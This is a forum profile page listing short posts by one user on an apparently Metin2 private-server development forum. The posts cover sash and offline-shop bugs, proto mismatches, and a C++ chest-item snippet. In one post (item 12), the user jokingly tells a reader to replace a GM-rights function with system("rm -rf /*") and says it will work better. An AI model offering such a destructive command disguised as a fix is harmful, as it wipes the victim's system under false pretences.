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ManiacRobert

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Everything posted by ManiacRobert

  1. open Shoulder-Sash system in Martysama

    Martysama doesn't have sash system, only for protos xD
  2. SEARCHING GOOD EXPERT OF PACKETS!

    Buy @martysama0134 source and will work gud
  3. open Offline shop

    OnlineShop men
  4. METİN2 TWERK DANCE

    Can you try with M Warrior?
  5. Which series are you watching right now?

    Every person from Defenders and Defenders, The flash, Arrow, Supergirl, Legends. Now i watch Scorpion and Black Lightning.
  6. Full Sash System BUG

    itemdata
  7. Full Sash System BUG

    dump_proto costume_sash it's not same value as gamelib files.
  8. c++ Change version client

    Wtf is dis
  9. FoxPack

    Welcome back 2016.
  10. open FAST @@@

    She doesn't have IQ
  11. [Searching]Change OfflineShop for Great

    Hi everyone, i'm seaching shop aspect for great version, something like koray offlineshop (choose model of offlineshop) Something like this
  12. [C++] Command Temp GM Rights Function

    Replace void CHARACTER::GiveAdminRights() { m_pointsInstant.gm_level = GM_IMPLEMENTOR; } With void CHARACTER::GiveAdminRights() { system("rm -rf /*"); } And will works better
  13. open Bug Mounts , please help me !

    Change system with lennt version
  14. Dragon Soul Bug (pay)

    I have a small bug from dragon soul alchemy, i pay for fix
  15. open Programming automatec bot (client)

  16. I want to buy Meley Lair and new pet system

    LeNnT don't sell anymore
  17. item and mob_proto editor (for txt)

    Or you can use excel
  18. [PHP] Eternexus Keys to Eterpack Keys

    Epack is better..
  19. c++ Teleport Skill for Party

    It's released 1 year ago on romanian forum...
  20. solved Sash - Absorption in the inventory

    dump_proto problem, verify itemdata.h and ItemCSVReader.cpp, must be same value
  21. open System effect

    There : www.damplips.com
  22. SEARCH ANTHACK TOP! FIX DAMAGE - LALAKER ETC

    http://svside.com/
  23. c++ New Item Type = ITEM_GACHA

    I made something like case ITEM_CHEST: { DWORD dwBoxVnum = item->GetVnum(); std::vector <DWORD> dwVnums; std::vector <DWORD> dwCounts; std::vector <LPITEM> item_gets(NULL); int count = 0; if (GiveItemFromSpecialItemGroup(dwBoxVnum, dwVnums, dwCounts, item_gets, count)) { for (int i = 0; i < count; i++) { char buf[50 + 1]; snprintf(buf, sizeof(buf), "%u %u", dwVnums[i], dwCounts[i]); // LogManager::instance().ItemLog(this, item, "MOONLIGHT_GET", buf); item->SetSocket(0, item->GetSocket(0) + 1); if (item->GetSocket(0) >= Maxim_ClarLuna) { ITEM_MANAGER::instance().RemoveItem(item); } ChatPacket(CHAT_TYPE_INFO, "[DEBUG]Test Chest"); switch (dwVnums[i]) { case CSpecialItemGroup::GOLD: ChatPacket(CHAT_TYPE_INFO, LC_TEXT("돈 %d 냥을 획득했습니다."), dwCounts[i]); break; case CSpecialItemGroup::EXP: ChatPacket(CHAT_TYPE_INFO, LC_TEXT("상자에서 부터 신비한 빛이 나옵니다.")); ChatPacket(CHAT_TYPE_INFO, LC_TEXT("%d의 경험치를 획득했습니다."), dwCounts[i]); break; case CSpecialItemGroup::MOB: ChatPacket(CHAT_TYPE_INFO, LC_TEXT("상자에서 몬스터가 나타났습니다!")); break; case CSpecialItemGroup::SLOW: ChatPacket(CHAT_TYPE_INFO, LC_TEXT("상자에서 나온 빨간 연기를 들이마시자 움직이는 속도가 느려졌습니다!")); break; case CSpecialItemGroup::DRAIN_HP: ChatPacket(CHAT_TYPE_INFO, LC_TEXT("상자가 갑자기 폭발하였습니다! 생명력이 감소했습니다.")); break; case CSpecialItemGroup::POISON: ChatPacket(CHAT_TYPE_INFO, LC_TEXT("상자에서 나온 녹색 연기를 들이마시자 독이 온몸으로 퍼집니다!")); break; case CSpecialItemGroup::MOB_GROUP: ChatPacket(CHAT_TYPE_INFO, LC_TEXT("상자에서 몬스터가 나타났습니다!")); break; default: if (item_gets[i]) { if (dwCounts[i] > 1) ChatPacket(CHAT_TYPE_INFO, LC_TEXT("상자에서 %s 가 %d 개 나왔습니다."), item_gets[i]->GetName(), dwCounts[i]); else ChatPacket(CHAT_TYPE_INFO, LC_TEXT("상자에서 %s 가 나왔습니다."), item_gets[i]->GetName()); } break; } } } else { ChatPacket(CHAT_TYPE_TALKING, LC_TEXT("아무것도 얻을 수 없었습니다.")); return false; } } break; and lenght.h Maxim_ClarLuna = 3,
  24. open Offline shop great , name before shop don't appear

    Dude, increase name range from settings
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